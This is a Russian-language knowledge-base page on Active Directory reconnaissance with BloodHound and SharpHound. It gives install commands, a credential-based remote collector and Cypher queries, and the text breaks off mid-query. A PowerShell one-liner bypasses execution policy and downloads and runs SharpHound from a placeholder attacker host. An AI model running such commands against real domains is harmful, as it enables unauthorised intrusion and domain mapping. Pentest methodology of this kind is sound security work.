База знаний

BloodHound и SharpHound

:::tip Формат страницы

Порядок действий описан по‑русски. В методике сохранены заголовки (частично локализованы типовые термины), таблицы, иллюстрации и блоки кода: команды и параметры на английском, без перевода синтаксиса.

:::

Порядок действий

1. Зафиксируйте роль в домене и допустимые техники (read‑only / согласованная эксплуатация).
2. Соберите данные для картирования атаки (учётки, делегирование, доверия).
3. Двигайтесь по сценариям раздела с планом отката и контролем DC.
4. Команды и инструменты в блоках кода — на английском.

Методика

Installation & Configuration

sudo apt install bloodhound neo4j -y

Data gathering

Local

powershell -exec bypass -c "IEX(New-Object Net.WebClient).downloadString('http://<ATTACKER_IP>/SharpHound.ps1'); Invoke-Bloodhound -CollectionMethod All [-Domain <DOMAIN>] [-OutputDirectory <OUTPUT_DIR>] -ZipFileName loot.zip "

Remote

pip3 install bloodhound
bloodhound-python -u '<USER>@<DOMAIN>' -p '<PASSWORD>' -ns <NAMESERVER_IP> -d <DOMAIN> -c All

BloodHound queries

match p=(g:Group)-[:CanRDP]->(c:Computer) where g.objectid ENDS WITH '-513' AND NOT c.operatingsystem CONTAINS 'Server' return p

match p=(g:Group)-[:CanRDP]->(c:Computer) where g.objectid ENDS WITH '-513'

MATCH p=(m:Group)-[r:CanRDP]->(n:Computer) RETURN m.name, n.name ORDER BY m.name

MATCH p1=shortestPath(((u1:User)-[r1:MemberOf*1..]->(g1:Group))) MATCH p2=(u1)-[*1]->(

—